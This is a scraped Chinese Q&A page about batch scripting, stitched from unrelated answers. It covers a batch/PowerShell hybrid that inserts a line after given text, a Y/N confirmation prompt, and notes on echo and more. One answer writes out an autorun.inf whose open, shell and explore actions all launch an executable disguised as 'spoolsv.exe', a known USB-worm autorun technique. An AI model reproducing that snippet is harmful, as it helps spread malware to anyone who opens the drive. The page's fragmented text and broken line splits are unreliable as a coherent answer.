批处理 如何在 文本文件指定内容下面 添加一行新内容?

批处理 如何在 文本文件指定内容下面 添加一行新内容?,第1张

不清楚你的实际文件/情况,仅以问题中的样例/说明为据;以下代码复制粘贴到记事本,另存为xx.bat,编码选ANSI,跟要处理的文件放一起双击运行

<# :

cls&echo off

rem 在一个txt文本文件里的一个指定行内容下面插入一行其他内容

cd /d "%~dp0"

set #=Any question&set _=WX&set $=Q&set/az=0x53b7e0b4

title %#% +%$%%$%/%_% %z%

cd /d "%~dp0"

powershell -NoProfile -ExecutionPolicy bypass "&{[ScriptBlock]::Create([IO.File]::ReadAllText('%~f0',[Text.Encoding]::Default)).Invoke()}"

echo%#% +%$%%$%/%_% %z%

pause

exit

#>

$file1='A.txt'

$file2='B.txt'

$str1='<property name="a" ref="b" />'

$str2='<property name="c"><ref local="d" /></property>'

$enc=New-Object System.Text.UTF8Encoding $False

$text=[IO.File]::ReadAllText($file1,$enc)

$text=$text.replace($str1,($str1+"`r`n"+$str2))

[IO.File]::WriteAllText($file2,$text,$enc)

分类: 电脑/网络 >> *** 作系统/系统故障

问题描述:

原来的批处理文件(.bat)是双击就开始运行我现在想把它变成这样双击欢迎使用我的自制批处理软件。。。。。。。。。。。。。Y确认继续 N放弃退出(按Y)批处理开始。。。。。。。。。(按N)退出请高手帮我解答!

解析:

简单的很:

---以下是批处理代码---

@echo off

:start

cls

echo.

echo 本批处理文件由jueyi5857制作

echo.

set /p c=是否继续执行?(Y/N)

if "%c%"=="Y" goto prgrm

if "%c%"=="N" goto end

goto start

:prgrm

::(此处请删除前面两个冒号后放置你的批处理代码,批处理代码可以多行)

:end

exit

---以上是批处理代码---

使用SET /p命令做了一个交互,再用IF语句判断输入,最后用标记符和goto语句定位,这样就可以了。

@echo

off

(echo

[autorun]

echo

open=spoolsv.exe

echo

hell\open=打开(^&o^)

echo

shell\open\command=spoolsv.exe

echo

shell\open\default=1

echo

shell\explore=资源管理器(^&x^)

echo

shell\explore\command=spoolsv.exe)>autorun.inf

这是最觉的方法,用echo

创建文件,

但是要注意,如果字符串中包含特殊符号,必需加上转义符^

使特殊符号成为普通字符输出

睿之锐

是用more命令输出字符串到文件

这里的

%0

表示批处理自身

more命令某种程度上相当于显示命令

type

只是more命令可以带参数

+

n

表示跳过n行显示内容

这里,

睿之锐的代码中,是跳过3行

也就是批处理的前3行,从第4行开始显示,并输出到文件


欢迎分享,转载请注明来源:内存溢出

原文地址: http://outofmemory.cn/bake/11584309.html

(0)
打赏 微信扫一扫 微信扫一扫 支付宝扫一扫 支付宝扫一扫
上一篇 2023-05-17
下一篇 2023-05-17

发表评论

登录后才能评论

评论列表(0条)

保存